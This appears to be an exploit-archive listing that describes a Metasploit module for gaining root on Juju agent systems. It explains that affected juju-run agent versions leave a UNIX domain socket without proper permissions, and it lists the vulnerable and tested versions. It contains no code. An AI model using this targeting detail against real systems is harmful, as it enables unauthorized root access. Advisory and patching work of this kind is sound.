Juju-run Agent Privilege Escalation

Juju-run Agent Privilege Escalation
Posted Feb 11, 2018
Authored by Brendan Coles, David Ames, Ryan Beisner | Site metasploit.com

This Metasploit module attempts to gain root privileges on Juju agent systems running the juju-run agent utility. Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root. This Metasploit module has been tested successfully with Juju agent tools versions 1.18.4, 1.25.5 and 1.25.9 on Ubuntu 14.04.1 LTS x86 deployed by Juju 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64.
